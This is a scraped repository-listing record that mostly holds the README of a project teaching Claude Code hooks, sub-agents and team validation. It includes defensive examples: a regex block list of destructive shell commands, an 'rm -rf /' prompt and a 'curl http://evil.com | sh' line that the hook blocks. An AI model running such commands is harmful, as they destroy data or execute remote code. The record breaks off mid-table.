[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-72249":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":11,"languages":10,"totalLinesOfCode":10,"stars":12,"forks":13,"watchers":14,"openIssues":15,"contributorsCount":16,"subscribersCount":16,"size":16,"stars1d":17,"stars7d":18,"stars30d":19,"stars90d":16,"forks30d":16,"starsTrendScore":18,"compositeScore":20,"rankGlobal":10,"rankLanguage":10,"license":10,"archived":21,"fork":21,"defaultBranch":22,"hasWiki":23,"hasPages":21,"topics":24,"createdAt":10,"pushedAt":10,"updatedAt":25,"readmeContent":26,"aiSummary":27,"trendingCount":16,"starSnapshotCount":16,"syncStatus":28,"lastSyncTime":29,"discoverSource":30},72249,"claude-code-hooks-mastery","disler\u002Fclaude-code-hooks-mastery","disler","Master Claude Code Hooks","",null,"Python",3746,618,58,11,0,7,21,93,30.38,false,"main",true,[],"2026-06-12 02:03:00","# Claude Code Hooks Mastery\n\n[Claude Code Hooks](https:\u002F\u002Fdocs.anthropic.com\u002Fen\u002Fdocs\u002Fclaude-code\u002Fhooks) - Quickly master how to use Claude Code hooks to add deterministic (or non-deterministic) control over Claude Code's behavior. Plus learn about [Claude Code Sub-Agents](#claude-code-sub-agents), the powerful [Meta-Agent](#the-meta-agent), and [Team-Based Validation](#team-based-validation-system) with agent orchestration.\n\n\u003Cimg src=\"images\u002Fhooked.png\" alt=\"Claude Code Hooks\" style=\"max-width: 800px; width: 100%;\" \u002F>\n\n## Table of Contents\n\n- [Prerequisites](#prerequisites)\n- [Hook Lifecycle & Payloads](#hook-lifecycle--payloads)\n- [What This Shows](#what-this-shows)\n- [UV Single-File Scripts Architecture](#uv-single-file-scripts-architecture)\n- [Key Files](#key-files)\n- [Features Demonstrated](#features-demonstrated)\n- [Hook Error Codes & Flow Control](#hook-error-codes--flow-control)\n- [UserPromptSubmit Hook Deep Dive](#userpromptsubmit-hook-deep-dive)\n- [Claude Code Sub-Agents](#claude-code-sub-agents)\n- [Team-Based Validation System](#team-based-validation-system)\n- [Output Styles Collection](#output-styles-collection)\n- [Custom Status Lines](#custom-status-lines)\n\n## Prerequisites\n\nThis requires:\n- **[Astral UV](https:\u002F\u002Fdocs.astral.sh\u002Fuv\u002Fgetting-started\u002Finstallation\u002F)** - Fast Python package installer and resolver\n- **[Claude Code](https:\u002F\u002Fdocs.anthropic.com\u002Fen\u002Fdocs\u002Fclaude-code)** - Anthropic's CLI for Claude AI\n\n### Optional Setup:\n\nOptional:\n- **[ElevenLabs](https:\u002F\u002Felevenlabs.io\u002F)** - Text-to-speech provider (with MCP server integration)\n- **[ElevenLabs MCP Server](https:\u002F\u002Fgithub.com\u002Felevenlabs\u002Felevenlabs-mcp)** - MCP server for ElevenLabs\n- **[Firecrawl MCP Server](https:\u002F\u002Fwww.firecrawl.dev\u002Fmcp)** - Web scraping and crawling MCP server (my favorite scraper)\n- **[OpenAI](https:\u002F\u002Fopenai.com\u002F)** - Language model provider + Text-to-speech provider\n- **[Anthropic](https:\u002F\u002Fwww.anthropic.com\u002F)** - Language model provider\n- **[Ollama](https:\u002F\u002Follama.com\u002F)** - Local language model provider\n\n## Hook Lifecycle & Payloads\n\nThis demo captures all 13 Claude Code hook lifecycle events with their JSON payloads:\n\n### Hook Lifecycle Overview\n\n```mermaid\nflowchart TB\n    subgraph SESSION[\"🟢 Session Lifecycle\"]\n        direction TB\n        SETUP[[\"🔧 Setup\u003Cbr\u002F>(init\u002Fmaintenance)\"]]\n        START[[\"▶️ SessionStart\u003Cbr\u002F>(startup\u002Fresume\u002Fclear)\"]]\n        END[[\"⏹️ SessionEnd\u003Cbr\u002F>(exit\u002Fsigint\u002Ferror)\"]]\n    end\n\n    subgraph MAIN[\"🔄 Main Conversation Loop\"]\n        direction TB\n        PROMPT[[\"📝 UserPromptSubmit\"]]\n        CLAUDE[\"Claude Processes\"]\n\n        subgraph TOOLS[\"🛠️ Tool Execution\"]\n            direction TB\n            PRE[[\"🔒 PreToolUse\"]]\n            PERM[[\"❓ PermissionRequest\"]]\n            EXEC[\"Tool Executes\"]\n            POST[[\"✅ PostToolUse\"]]\n            FAIL[[\"❌ PostToolUseFailure\"]]\n        end\n\n        subgraph SUBAGENT[\"🤖 Subagent Lifecycle\"]\n            direction TB\n            SSTART[[\"🚀 SubagentStart\"]]\n            SWORK[\"Subagent Works\"]\n            SSTOP[[\"🏁 SubagentStop\"]]\n        end\n\n        NOTIFY[[\"🔔 Notification\u003Cbr\u002F>(Async)\"]]\n        STOP[[\"🛑 Stop\"]]\n    end\n\n    subgraph COMPACT[\"🗜️ Maintenance\"]\n        PRECOMPACT[[\"📦 PreCompact\"]]\n    end\n\n    SETUP --> START\n    START --> PROMPT\n    PROMPT --> CLAUDE\n    CLAUDE --> PRE\n    PRE --> PERM\n    PERM --> EXEC\n    EXEC --> POST\n    EXEC -.-> FAIL\n    CLAUDE -.-> SSTART\n    SSTART --> SWORK\n    SWORK --> SSTOP\n    POST --> CLAUDE\n    CLAUDE --> STOP\n    CLAUDE -.-> NOTIFY\n    STOP --> PROMPT\n    STOP -.-> END\n    PROMPT -.-> PRECOMPACT\n    PRECOMPACT -.-> PROMPT\n```\n\n### 1. UserPromptSubmit Hook\n**Fires:** Immediately when user submits a prompt (before Claude processes it)  \n**Payload:** `prompt` text, `session_id`, timestamp  \n**Enhanced:** Prompt validation, logging, context injection, security filtering\n\n### 2. PreToolUse Hook\n**Fires:** Before any tool execution  \n**Payload:** `tool_name`, `tool_input` parameters  \n**Enhanced:** Blocks dangerous commands (`rm -rf`, `.env` access)\n\n### 3. PostToolUse Hook  \n**Fires:** After successful tool completion  \n**Payload:** `tool_name`, `tool_input`, `tool_response` with results\n\n### 4. Notification Hook\n**Fires:** When Claude Code sends notifications (waiting for input, etc.)  \n**Payload:** `message` content  \n**Enhanced:** TTS alerts - \"Your agent needs your input\" (30% chance includes name)\n\n### 5. Stop Hook\n**Fires:** When Claude Code finishes responding  \n**Payload:** `stop_hook_active` boolean flag  \n**Enhanced:** AI-generated completion messages with TTS playback (LLM priority: OpenAI > Anthropic > Ollama > random)\n\n### 6. SubagentStop Hook\n**Fires:** When Claude Code subagents (Task tools) finish responding  \n**Payload:** `stop_hook_active` boolean flag  \n**Enhanced:** TTS playback - \"Subagent Complete\"\n\n### 7. PreCompact Hook\n**Fires:** Before Claude Code performs a compaction operation  \n**Payload:** `trigger` (\"manual\" or \"auto\"), `custom_instructions` (for manual), session info  \n**Enhanced:** Transcript backup, verbose feedback for manual compaction\n\n### 8. SessionStart Hook\n**Fires:** When Claude Code starts a new session or resumes an existing one\n**Payload:** `source` (\"startup\", \"resume\", or \"clear\"), session info\n**Enhanced:** Development context loading (git status, recent issues, context files)\n\n### 9. SessionEnd Hook\n**Fires:** When Claude Code session ends (exit, sigint, or error)\n**Payload:** `session_id`, `transcript_path`, `cwd`, `permission_mode`, `reason`\n**Enhanced:** Session logging with optional cleanup tasks (removes temp files, stale logs)\n\n### 10. PermissionRequest Hook\n**Fires:** When user is shown a permission dialog\n**Payload:** `tool_name`, `tool_input`, `tool_use_id`, session info\n**Enhanced:** Permission auditing, auto-allow for read-only ops (Read, Glob, Grep, safe Bash)\n\n### 11. PostToolUseFailure Hook\n**Fires:** When a tool execution fails\n**Payload:** `tool_name`, `tool_input`, `tool_use_id`, `error` object\n**Enhanced:** Structured error logging with timestamps and full context\n\n### 12. SubagentStart Hook\n**Fires:** When a subagent (Task tool) spawns\n**Payload:** `agent_id`, `agent_type`, session info\n**Enhanced:** Subagent spawn logging with optional TTS announcement\n\n### 13. Setup Hook\n**Fires:** When Claude enters a repository (init) or periodically (maintenance)\n**Payload:** `trigger` (\"init\" or \"maintenance\"), session info\n**Enhanced:** Environment persistence via `CLAUDE_ENV_FILE`, context injection via `additionalContext`\n\n\n## What This Shows\n\n- **Complete hook lifecycle coverage** - All 13 hook events implemented and logging (11\u002F13 validated via automated testing)\n- **Prompt-level control** - UserPromptSubmit validates and enhances prompts before Claude sees them\n- **Intelligent TTS system** - AI-generated audio feedback with voice priority (ElevenLabs > OpenAI > pyttsx3)\n- **Security enhancements** - Blocks dangerous commands and sensitive file access at multiple levels\n- **Personalized experience** - Uses engineer name from environment variables\n- **Automatic logging** - All hook events are logged as JSON to `logs\u002F` directory\n- **Chat transcript extraction** - PostToolUse hook converts JSONL transcripts to readable JSON format\n- **Team-based validation** - Builder\u002FValidator agent pattern with code quality hooks\n\n> **Warning:** The `chat.json` file contains only the most recent Claude Code conversation. It does not preserve conversations from previous sessions - each new conversation is fully copied and overwrites the previous one. This is unlike the other logs which are appended to from every claude code session.\n\n## UV Single-File Scripts Architecture\n\nThis project leverages **[UV single-file scripts](https:\u002F\u002Fdocs.astral.sh\u002Fuv\u002Fguides\u002Fscripts\u002F)** to keep hook logic cleanly separated from your main codebase. All hooks live in `.claude\u002Fhooks\u002F` as standalone Python scripts with embedded dependency declarations.\n\n**Benefits:**\n- **Isolation** - Hook logic stays separate from your project dependencies\n- **Portability** - Each hook script declares its own dependencies inline\n- **No Virtual Environment Management** - UV handles dependencies automatically\n- **Fast Execution** - UV's dependency resolution is lightning-fast\n- **Self-Contained** - Each hook can be understood and modified independently\n\nThis approach ensures your hooks remain functional across different environments without polluting your main project's dependency tree.\n\n## Key Files\n\n- `.claude\u002Fsettings.json` - Hook configuration with permissions\n- `.claude\u002Fhooks\u002F` - Python scripts using uv for each hook type\n  - `user_prompt_submit.py` - Prompt validation, logging, and context injection\n  - `pre_tool_use.py` - Security blocking and logging\n  - `post_tool_use.py` - Logging and transcript conversion\n  - `post_tool_use_failure.py` - Error logging with structured details\n  - `notification.py` - Logging with optional TTS (--notify flag)\n  - `stop.py` - AI-generated completion messages with TTS\n  - `subagent_stop.py` - Simple \"Subagent Complete\" TTS\n  - `subagent_start.py` - Subagent spawn logging with optional TTS\n  - `pre_compact.py` - Transcript backup and compaction logging\n  - `session_start.py` - Development context loading and session logging\n  - `session_end.py` - Session cleanup and logging\n  - `permission_request.py` - Permission auditing and auto-allow\n  - `setup.py` - Repository initialization and maintenance\n  - `validators\u002F` - Code quality validation hooks\n    - `ruff_validator.py` - Python linting via Ruff (PostToolUse)\n    - `ty_validator.py` - Python type checking (PostToolUse)\n  - `utils\u002F` - Intelligent TTS and LLM utility scripts\n    - `tts\u002F` - Text-to-speech providers (ElevenLabs, OpenAI, pyttsx3)\n      - `tts_queue.py` - Queue-based TTS management (prevents overlapping audio)\n    - `llm\u002F` - Language model integrations (OpenAI, Anthropic, Ollama)\n      - `task_summarizer.py` - LLM-powered task completion summaries\n- `.claude\u002Fstatus_lines\u002F` - Real-time terminal status displays\n  - `status_line.py` - Basic MVP with git info\n  - `status_line_v2.py` - Smart prompts with color coding\n  - `status_line_v3.py` - Agent sessions with history\n  - `status_line_v4.py` - Extended metadata support\n  - `status_line_v5.py` - Cost tracking with line changes\n  - `status_line_v6.py` - Context window usage bar\n  - `status_line_v7.py` - Session duration timer\n  - `status_line_v8.py` - Token usage with cache stats\n  - `status_line_v9.py` - Minimal powerline style\n- `.claude\u002Foutput-styles\u002F` - Response formatting configurations\n  - `genui.md` - Generates beautiful HTML with embedded styling\n  - `table-based.md` - Organizes information in markdown tables\n  - `yaml-structured.md` - YAML configuration format\n  - `bullet-points.md` - Clean nested lists\n  - `ultra-concise.md` - Minimal words, maximum speed\n  - `html-structured.md` - Semantic HTML5\n  - `markdown-focused.md` - Rich markdown features\n  - `tts-summary.md` - Audio feedback via TTS\n- `.claude\u002Fcommands\u002F` - Custom slash commands\n  - `prime.md` - Project analysis and understanding\n  - `plan_w_team.md` - Team-based build\u002Fvalidate workflow\n  - `crypto_research.md` - Cryptocurrency research workflows\n  - `cook.md` - Advanced task execution\n  - `update_status_line.md` - Dynamic status updates\n- `.claude\u002Fagents\u002F` - Sub-agent configurations\n  - `crypto\u002F` - Cryptocurrency analysis agents\n  - `team\u002F` - Team-based workflow agents\n    - `builder.md` - Implementation agent (all tools)\n    - `validator.md` - Read-only validation agent\n  - `hello-world-agent.md` - Simple greeting example\n  - `llm-ai-agents-and-eng-research.md` - AI research specialist\n  - `meta-agent.md` - Agent that creates other agents\n  - `work-completion-summary.md` - Audio summary generator\n- `logs\u002F` - JSON logs of all hook executions\n  - `user_prompt_submit.json` - User prompt submissions with validation\n  - `pre_tool_use.json` - Tool use events with security blocking\n  - `post_tool_use.json` - Tool completion events\n  - `post_tool_use_failure.json` - Tool failure events with error details\n  - `notification.json` - Notification events\n  - `stop.json` - Stop events with completion messages\n  - `subagent_stop.json` - Subagent completion events\n  - `subagent_start.json` - Subagent spawn events\n  - `pre_compact.json` - Pre-compaction events with trigger type\n  - `session_start.json` - Session start events with source type\n  - `session_end.json` - Session end events with reason\n  - `permission_request.json` - Permission request audit log\n  - `setup.json` - Setup events with trigger type\n  - `chat.json` - Readable conversation transcript (generated by --chat flag)\n- `ai_docs\u002F` - Documentation resources\n  - `cc_hooks_docs.md` - Complete hooks documentation from Anthropic\n  - `claude_code_status_lines_docs.md` - Status line input schema and configuration\n  - `user_prompt_submit_hook.md` - Comprehensive UserPromptSubmit hook documentation\n  - `uv-single-file-scripts.md` - UV script architecture documentation\n  - `anthropic_custom_slash_commands.md` - Slash commands documentation\n  - `anthropic_docs_subagents.md` - Sub-agents documentation\n- `ruff.toml` - Ruff linter configuration for Python code quality\n- `ty.toml` - Type checker configuration for Python type validation\n\nHooks provide deterministic control over Claude Code behavior without relying on LLM decisions.\n\n## Features Demonstrated\n\n- Prompt validation and security filtering\n- Context injection for enhanced AI responses\n- Command logging and auditing\n- Automatic transcript conversion  \n- Permission-based tool access control\n- Error handling in hook execution\n\nRun any Claude Code command to see hooks in action via the `logs\u002F` files.\n\n## Hook Error Codes & Flow Control\n\nClaude Code hooks provide powerful mechanisms to control execution flow and provide feedback through exit codes and structured JSON output.\n\n### Exit Code Behavior\n\nHooks communicate status and control flow through exit codes:\n\n| Exit Code | Behavior           | Description                                                                                  |\n| --------- | ------------------ | -------------------------------------------------------------------------------------------- |\n| **0**     | Success            | Hook executed successfully. `stdout` shown to user in transcript mode (Ctrl-R)               |\n| **2**     | Blocking Error     | **Critical**: `stderr` is fed back to Claude automatically. See hook-specific behavior below |\n| **Other** | Non-blocking Error | `stderr` shown to user, execution continues normally                                         |\n\n### Hook-Specific Flow Control\n\nEach hook type has different capabilities for blocking and controlling Claude Code's behavior:\n\n#### UserPromptSubmit Hook - **CAN BLOCK PROMPTS & ADD CONTEXT**\n- **Primary Control Point**: Intercepts user prompts before Claude processes them\n- **Exit Code 2 Behavior**: Blocks the prompt entirely, shows error message to user\n- **Use Cases**: Prompt validation, security filtering, context injection, audit logging\n- **Example**: Our `user_prompt_submit.py` logs all prompts and can validate them\n\n#### PreToolUse Hook - **CAN BLOCK TOOL EXECUTION**\n- **Primary Control Point**: Intercepts tool calls before they execute\n- **Exit Code 2 Behavior**: Blocks the tool call entirely, shows error message to Claude\n- **Use Cases**: Security validation, parameter checking, dangerous command prevention\n- **Example**: Our `pre_tool_use.py` blocks `rm -rf` commands with exit code 2\n\n```python\n# Block dangerous commands\nif is_dangerous_rm_command(command):\n    print(\"BLOCKED: Dangerous rm command detected\", file=sys.stderr)\n    sys.exit(2)  # Blocks tool call, shows error to Claude\n```\n\n#### PostToolUse Hook - **CANNOT BLOCK (Tool Already Executed)**\n- **Primary Control Point**: Provides feedback after tool completion\n- **Exit Code 2 Behavior**: Shows error to Claude (tool already ran, cannot be undone)\n- **Use Cases**: Validation of results, formatting, cleanup, logging\n- **Limitation**: Cannot prevent tool execution since it fires after completion\n\n#### Notification Hook - **CANNOT BLOCK**\n- **Primary Control Point**: Handles Claude Code notifications\n- **Exit Code 2 Behavior**: N\u002FA - shows stderr to user only, no blocking capability\n- **Use Cases**: Custom notifications, logging, user alerts\n- **Limitation**: Cannot control Claude Code behavior, purely informational\n\n#### Stop Hook - **CAN BLOCK STOPPING**\n- **Primary Control Point**: Intercepts when Claude Code tries to finish responding\n- **Exit Code 2 Behavior**: Blocks stoppage, shows error to Claude (forces continuation)\n- **Use Cases**: Ensuring tasks complete, validation of final state use this to FORCE CONTINUATION\n- **Caution**: Can cause infinite loops if not properly controlled\n\n#### SubagentStop Hook - **CAN BLOCK SUBAGENT STOPPING**\n- **Primary Control Point**: Intercepts when Claude Code subagents try to finish\n- **Exit Code 2 Behavior**: Blocks subagent stoppage, shows error to subagent\n- **Use Cases**: Ensuring subagent tasks complete properly\n- **Example**: Our `subagent_stop.py` logs events and announces completion\n\n#### PreCompact Hook - **CANNOT BLOCK**\n- **Primary Control Point**: Fires before compaction operations\n- **Exit Code 2 Behavior**: N\u002FA - shows stderr to user only, no blocking capability\n- **Use Cases**: Transcript backup, context preservation, pre-compaction logging\n- **Example**: Our `pre_compact.py` creates transcript backups before compaction\n\n#### SessionStart Hook - **CANNOT BLOCK**\n- **Primary Control Point**: Fires when new sessions start or resume\n- **Exit Code 2 Behavior**: N\u002FA - shows stderr to user only, no blocking capability\n- **Use Cases**: Loading development context, session initialization, environment setup\n- **Example**: Our `session_start.py` loads git status, recent issues, and context files\n\n### Advanced JSON Output Control\n\nBeyond simple exit codes, hooks can return structured JSON for sophisticated control:\n\n#### Common JSON Fields (All Hook Types)\n```json\n{\n  \"continue\": true,           \u002F\u002F Whether Claude should continue (default: true)\n  \"stopReason\": \"string\",     \u002F\u002F Message when continue=false (shown to user)\n  \"suppressOutput\": true      \u002F\u002F Hide stdout from transcript (default: false)\n}\n```\n\n#### PreToolUse Decision Control\n```json\n{\n  \"decision\": \"approve\" | \"block\" | undefined,\n  \"reason\": \"Explanation for decision\"\n}\n```\n\n- **\"approve\"**: Bypasses permission system, `reason` shown to user\n- **\"block\"**: Prevents tool execution, `reason` shown to Claude\n- **undefined**: Normal permission flow, `reason` ignored\n\n#### PostToolUse Decision Control\n```json\n{\n  \"decision\": \"block\" | undefined,\n  \"reason\": \"Explanation for decision\"\n}\n```\n\n- **\"block\"**: Automatically prompts Claude with `reason`\n- **undefined**: No action, `reason` ignored\n\n#### Stop Decision Control\n```json\n{\n  \"decision\": \"block\" | undefined,\n  \"reason\": \"Must be provided when blocking Claude from stopping\"\n}\n```\n\n- **\"block\"**: Prevents Claude from stopping, `reason` tells Claude how to proceed\n- **undefined**: Allows normal stopping, `reason` ignored\n\n### Flow Control Priority\n\nWhen multiple control mechanisms are used, they follow this priority:\n\n1. **`\"continue\": false`** - Takes precedence over all other controls\n2. **`\"decision\": \"block\"`** - Hook-specific blocking behavior\n3. **Exit Code 2** - Simple blocking via stderr\n4. **Other Exit Codes** - Non-blocking errors\n\n### Security Implementation Examples\n\n#### 1. Command Validation (PreToolUse)\n```python\n# Block dangerous patterns\ndangerous_patterns = [\n    r'rm\\s+.*-[rf]',           # rm -rf variants\n    r'sudo\\s+rm',              # sudo rm commands\n    r'chmod\\s+777',            # Dangerous permissions\n    r'>\\s*\u002Fetc\u002F',              # Writing to system directories\n]\n\nfor pattern in dangerous_patterns:\n    if re.search(pattern, command, re.IGNORECASE):\n        print(f\"BLOCKED: {pattern} detected\", file=sys.stderr)\n        sys.exit(2)\n```\n\n#### 2. Result Validation (PostToolUse)\n```python\n# Validate file operations\nif tool_name == \"Write\" and not tool_response.get(\"success\"):\n    output = {\n        \"decision\": \"block\",\n        \"reason\": \"File write operation failed, please check permissions and retry\"\n    }\n    print(json.dumps(output))\n    sys.exit(0)\n```\n\n#### 3. Completion Validation (Stop Hook)\n```python\n# Ensure critical tasks are complete\nif not all_tests_passed():\n    output = {\n        \"decision\": \"block\",\n        \"reason\": \"Tests are failing. Please fix failing tests before completing.\"\n    }\n    print(json.dumps(output))\n    sys.exit(0)\n```\n\n### Hook Execution Environment\n\n- **Timeout**: 60-second execution limit per hook\n- **Parallelization**: All matching hooks run in parallel\n- **Environment**: Inherits Claude Code's environment variables\n- **Working Directory**: Runs in current project directory\n- **Input**: JSON via stdin with session and tool data\n- **Output**: Processed via stdout\u002Fstderr with exit codes\n\n## UserPromptSubmit Hook Deep Dive\n\nThe UserPromptSubmit hook is the first line of defense and enhancement for Claude Code interactions. It fires immediately when you submit a prompt, before Claude even begins processing it.\n\n### What It Can Do\n\n1. **Log prompts** - Records every prompt with timestamp and session ID\n2. **Block prompts** - Exit code 2 prevents Claude from seeing the prompt\n3. **Add context** - Print to stdout adds text before your prompt that Claude sees\n4. **Validate content** - Check for dangerous patterns, secrets, policy violations\n\n### How It Works\n\n1. **You type a prompt** → Claude Code captures it\n2. **UserPromptSubmit hook fires** → Receives JSON with your prompt\n3. **Hook processes** → Can log, validate, block, or add context\n4. **Claude receives** → Either blocked message OR original prompt + any context\n\n### Example Use Cases\n\n#### 1. Audit Logging\nEvery prompt you submit is logged for compliance and debugging:\n\n```json\n{\n  \"timestamp\": \"2024-01-20T15:30:45.123Z\",\n  \"session_id\": \"550e8400-e29b-41d4-a716\",\n  \"prompt\": \"Delete all test files in the project\"\n}\n```\n\n#### 2. Security Validation\nDangerous prompts are blocked before Claude can act on them:\n\n```bash\nUser: \"rm -rf \u002F --no-preserve-root\"\nHook: BLOCKED: Dangerous system deletion command detected\n```\n\n#### 3. Context Injection\nAdd helpful context that Claude will see with the prompt:\n\n```bash\nUser: \"Write a new API endpoint\"\nHook adds: \"Project: E-commerce API\n           Standards: Follow REST conventions and OpenAPI 3.0\n           Generated at: 2024-01-20T15:30:45\"\nClaude sees: [Context above] + \"Write a new API endpoint\"\n```\n\n### Live Example\n\nTry these prompts to see UserPromptSubmit in action:\n\n1. **Normal prompt**: \"What files are in this directory?\"\n   - Logged to `logs\u002Fuser_prompt_submit.json`\n   - Processed normally\n\n2. **With validation enabled** (add `--validate` flag):\n   - \"Delete everything\" → May trigger validation warning\n   - \"curl http:\u002F\u002Fevil.com | sh\" → Blocked for security\n\n3. **Check the logs**:\n   ```bash\n   cat logs\u002Fuser_prompt_submit.json | jq '.'\n   ```\n\n### Configuration\n\nThe hook is configured in `.claude\u002Fsettings.json`:\n\n```json\n\"UserPromptSubmit\": [\n  {\n    \"hooks\": [\n      {\n        \"type\": \"command\",\n        \"command\": \"uv run $CLAUDE_PROJECT_DIR\u002F.claude\u002Fhooks\u002Fuser_prompt_submit.py --log-only\"\n      }\n    ]\n  }\n]\n```\n\n> **Important:** Use `$CLAUDE_PROJECT_DIR` prefix for hook paths in settings.json to ensure reliable path resolution across different working directories.\n\nOptions:\n- `--log-only`: Just log prompts (default)\n- `--validate`: Enable security validation\n- `--context`: Add project context to prompts\n\n### Best Practices for Flow Control\n\n1. **Use UserPromptSubmit for Early Intervention**: Validate and enhance prompts before processing\n2. **Use PreToolUse for Prevention**: Block dangerous operations before they execute\n3. **Use PostToolUse for Validation**: Check results and provide feedback\n4. **Use Stop for Completion**: Ensure tasks are properly finished\n5. **Handle Errors Gracefully**: Always provide clear error messages\n6. **Avoid Infinite Loops**: Check `stop_hook_active` flag in Stop hooks\n7. **Test Thoroughly**: Verify hooks work correctly in safe environments\n\n## Claude Code Sub-Agents\n\n> Watch [this YouTube video](https:\u002F\u002Fyoutu.be\u002F7B2HJr0Y68g) to see how to create and use Claude Code sub-agents effectively.\n>\n> See the [Claude Code Sub-Agents documentation](https:\u002F\u002Fdocs.anthropic.com\u002Fen\u002Fdocs\u002Fclaude-code\u002Fsub-agents) for more details.\n\n\u003Cimg src=\"images\u002Fsubagents.png\" alt=\"Claude Code Sub-Agents\" style=\"max-width: 800px; width: 100%;\" \u002F>\n\nClaude Code supports specialized sub-agents that handle specific tasks with custom system prompts, tools, and separate context windows. Sub-agents are AI assistants that your primary Claude Code agent can delegate tasks to.\n\n### Understanding Sub-Agents: System Prompts, Not User Prompts\n\n**Critical Concept**: The content in agent files (`.claude\u002Fagents\u002F*.md`) are **system prompts** that configure the sub-agent's behavior. They are NOT user prompts. This is the #1 misunderstanding when creating agents.\n\n**Information Flow**:\n```\nYou (User) → Primary Agent → Sub-Agent → Primary Agent → You (User)\n```\n\n\u003Cimg src=\"images\u002FSubAgentFlow.gif\" alt=\"Sub-Agent Information Flow\" style=\"max-width: 800px; width: 100%;\" \u002F>\n\n1. **You** make a request to Claude Code (primary agent)\n2. **Primary Agent** analyzes your request and delegates to appropriate sub-agent\n3. **Sub-Agent** executes task using its system prompt instructions\n4. **Sub-Agent** reports results back to primary agent\n5. **Primary Agent** synthesizes and presents results to you\n\n**Key Points**:\n- Sub-agents NEVER communicate directly with you\n- Sub-agents start fresh with no conversation history\n- Sub-agents respond to the primary agent's prompt, not yours\n- The `description` field tells the primary agent WHEN to use the sub-agent\n\n### Agent Storage & Organization\n\nThis repository demonstrates various agent configurations:\n\n**Project Agents** (`.claude\u002Fagents\u002F`):\n```\n.claude\u002Fagents\u002F\n├── crypto\u002F                    # Cryptocurrency analysis agents\n│   ├── crypto-coin-analyzer-haiku.md\n│   ├── crypto-coin-analyzer-opus.md\n│   ├── crypto-coin-analyzer-sonnet.md\n│   ├── crypto-investment-plays-*.md\n│   ├── crypto-market-agent-*.md\n│   ├── crypto-movers-haiku.md\n│   └── macro-crypto-correlation-scanner-*.md\n├── hello-world-agent.md       # Simple greeting agent\n├── llm-ai-agents-and-eng-research.md  # AI research specialist\n├── meta-agent.md              # Agent that creates agents\n└── work-completion-summary.md # Audio summary generator\n```\n\n**Storage Hierarchy**:\n- **Project agents**: `.claude\u002Fagents\u002F` (higher priority, project-specific)\n- **User agents**: `~\u002F.claude\u002Fagents\u002F` (lower priority, available across all projects)\n- **Format**: Markdown files with YAML frontmatter\n\n**Agent File Structure:**\n```yaml\n---\nname: agent-name\ndescription: When to use this agent (critical for automatic delegation)\ntools: Tool1, Tool2, Tool3  # Optional - inherits all tools if omitted\ncolor: Cyan  # Visual identifier in terminal\nmodel: opus # Optional - haiku | sonnet | opus - defaults to sonnet\n---\n\n# Purpose\nYou are a [role definition]. \n\n## Instructions\n1. Step-by-step instructions\n2. What the agent should do\n3. How to report results\n\n## Report\u002FResponse Format\nSpecify how the agent should communicate results back to the primary agent.\n```\n\nSub-agents enable:\n- **Task specialization** - Code reviewers, debuggers, test runners\n- **Context preservation** - Each agent operates independently  \n- **Tool restrictions** - Grant only necessary permissions\n- **Automatic delegation** - Claude proactively uses the right agent\n\n### Key Engineering Insights\n\n**Two Critical Mistakes to Avoid:**\n\n1. **Misunderstanding the System Prompt** - What you write in agent files is the *system prompt*, not a user prompt. This changes how you structure instructions and what information is available to the agent.\n\n2. **Ignoring Information Flow** - Sub-agents respond to your primary agent, not to you. Your primary agent prompts sub-agents based on your original request, and sub-agents report back to the primary agent, which then reports to you.\n\n**Best Practices:**\n- Use the `description` field to tell your primary agent *when* and *how* to prompt sub-agents\n- Include phrases like \"use PROACTIVELY\" or trigger words (e.g., \"if they say TTS\") in descriptions\n- Remember sub-agents start fresh with no context - be explicit about what they need to know\n- Follow Problem → Solution → Technology approach when building agents\n\n### Complex Workflows & Agent Chaining\n\nClaude Code can intelligently chain multiple sub-agents together for complex tasks:\n\n\u003Cimg src=\"images\u002FSubAgentChain.gif\" alt=\"Sub-Agent Chaining\" style=\"max-width: 800px; width: 100%;\" \u002F>\n\nFor example:\n- \"First analyze the market with crypto-market-agent, then use crypto-investment-plays to find opportunities\"\n- \"Use the debugger agent to fix errors, then have the code-reviewer check the changes\"\n- \"Generate a new agent with meta-agent, then test it on a specific task\"\n\nThis chaining allows you to build sophisticated workflows while maintaining clean separation of concerns.\n\n### The Meta-Agent\n\nThe meta-agent (`.claude\u002Fagents\u002Fmeta-agent.md`) is a specialized sub-agent that generates new sub-agents from descriptions. It's the \"agent that builds agents\" - a critical tool for scaling your agent development velocity.\n\n**Why Meta-Agent Matters:**\n- **Rapid Agent Creation** - Build dozens of specialized agents in minutes instead of hours\n- **Consistent Structure** - Ensures all agents follow best practices and proper formatting\n- **Live Documentation** - Pulls latest Claude Code docs to stay current with features\n- **Intelligent Tool Selection** - Automatically determines minimal tool requirements\n\n**Using the Meta-Agent:**\n```bash\n# Simply describe what you want\n\"Build a new sub-agent that runs tests and fixes failures\"\n\n# Claude Code will automatically delegate to meta-agent\n# which will create a properly formatted agent file\n```\n\nThe meta-agent follows the principle: \"Figure out how to scale it up. Build the thing that builds the thing.\" This compound effect accelerates your engineering capabilities exponentially.\n\n## Team-Based Validation System\n\n> **Watch the walkthrough:** See agent teams and the `\u002Fplan_w_team` workflow in action at [https:\u002F\u002Fyoutu.be\u002F4_2j5wgt_ds](https:\u002F\u002Fyoutu.be\u002F4_2j5wgt_ds)\n\n\u003Cimg src=\"images\u002Fcctask.png\" alt=\"Claude Code Task System\" style=\"max-width: 800px; width: 100%;\" \u002F>\n\nThis repository includes a powerful build\u002Fvalidate workflow pattern using the Claude Code task system to orchestrate specialized agent teams.\n\n### The `\u002Fplan_w_team` Meta Prompt\n\nThe `\u002Fplan_w_team` command (`.claude\u002Fcommands\u002Fplan_w_team.md`) is not an ordinary prompt—it has three powerful components:\n\n#### 1. Self-Validating\n\nThe prompt includes embedded hooks in its front matter that validate its own output:\n\n```yaml\nhooks:\n  stop:\n    - command: \"uv run $CLAUDE_PROJECT_DIR\u002F.claude\u002Fhooks\u002Fvalidators\u002Fvalidate_new_file.py specs\u002F*.md\"\n    - command: \"uv run $CLAUDE_PROJECT_DIR\u002F.claude\u002Fhooks\u002Fvalidators\u002Fvalidate_file_contains.py\"\n```\n\nAfter the planning agent finishes, these validators ensure:\n- A spec file was created in the correct directory\n- The file contains required sections (team orchestration, step-by-step tasks, etc.)\n\nIf validation fails, the agent receives feedback and continues working until the output meets criteria.\n\n#### 2. Agent Orchestration\n\nThe prompt leverages Claude Code's task system to build and coordinate agent teams:\n\n| Task Tool    | Purpose                                                  |\n| ------------ | 